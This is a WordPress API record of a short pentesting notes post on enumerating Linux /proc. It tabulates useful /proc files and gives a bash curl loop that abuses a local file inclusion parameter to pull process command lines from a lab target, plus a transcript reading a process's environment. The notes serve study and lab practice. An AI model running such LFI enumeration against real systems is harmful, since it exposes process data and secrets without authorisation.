{"id":1736,"date":"2020-11-24T21:26:19","date_gmt":"2020-11-24T20:26:19","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=1736"},"modified":"2023-12-20T20:59:57","modified_gmt":"2023-12-20T19:59:57","slug":"enumerating-proc","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=1736","title":{"rendered":"Enumerating \/proc"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">For reverse engineering<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Devi\u00adce\u00adname<\/th><th>Con\u00adtent<\/th><\/tr><\/thead><tbody><tr><td><code>\/proc\/$pid\/maps<\/code><\/td><td>Shows the mem\u00adpory map\u00adping of a process. Includes all used libraries.<\/td><\/tr><tr><td><code>\/proc\/self\/loginuid<\/code><\/td><td>Own <span class=\"caps\">UID<\/span>.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Read processes<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If you can read \/proc via a&nbsp;<span class=\"caps\">LFI<\/span>:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">#!\/bin\/bash\n\nfor i in {1..1024}\ndo\n\techo $i\n\tcurl http:\/\/10.10.11.154\/index.php\\?page=\/proc\/$i\/cmdline --output \/tmp\/proc\/$i\ndone<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The, look in the \/tmp\/proc direc\u00adto\u00adry for files &gt; 0&nbsp;byte.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Read envi\u00adron\u00adment of a process:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u250c\u2500\u2500(root\ud83d\udc80imac2019-kali)-[~\/p151.general.1\/t117\/enum]\n\u2514\u2500# curl http:\/\/10.10.11.154\/index.php\\?page=\/proc\/425\/environ --output \/tmp\/f                                                   23 \u2a2f\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100   194    0   194    0     0   3500      0 --:--:-- --:--:-- --:--:--  3527\n\n\u250c\u2500\u2500(root\ud83d\udc80imac2019-kali)-[~\/p151.general.1\/t117\/enum]\n\u2514\u2500# cat \/tmp\/f\nLANG=C.UTF-8PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/binHOME=\/var\/wwwLOGNAME=www-dataUSER=www-dataINVOCATION_ID=fe8f7fff3b4541928b90a35e1dc0ed5bJOURNAL_STREAM=8:10138<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">External ressources<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>See <a href=\"https:\/\/idafchev.github.io\/enumeration\/2018\/03\/05\/linux_proc_enum.html\">https:\/\/idafchev.github.io\/enumeration\/2018\/03\/05\/linux_proc_enum.html<\/a><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>For reverse engi\u00adneer\u00ading Devi\u00adce\u00adname Con\u00adtent \/proc\/$pid\/maps Shows the mem\u00adpory map\u00adping of a process. Includes all used libraries. \/proc\/self\/loginuid Own <span class=\"caps\">UID<\/span>. Read process\u00ades If you can read \/proc via a&nbsp;<span class=\"caps\">LFI<\/span>: #!\/bin\/bash for i in {1..1024} do echo $i curl http:\/\/10.10.11.154\/index.php\\?page=\/proc\/$i\/cmdline \u2013out\u00adput \/tmp\/proc\/$i done The, look in the \/tmp\/proc direc\u00adto\u00adry for files &gt; 0&nbsp;byte. Read envi\u00adron\u00adment&nbsp;of&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[471,472,468],"tags":[50,292],"class_list":["post-1736","post","type-post","status-publish","format-standard","hentry","category-privesc","category-postexp","category-general","tag-enumeration","tag-proc"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1736","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1736"}],"version-history":[{"count":5,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1736\/revisions"}],"predecessor-version":[{"id":3713,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1736\/revisions\/3713"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1736"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1736"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1736"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}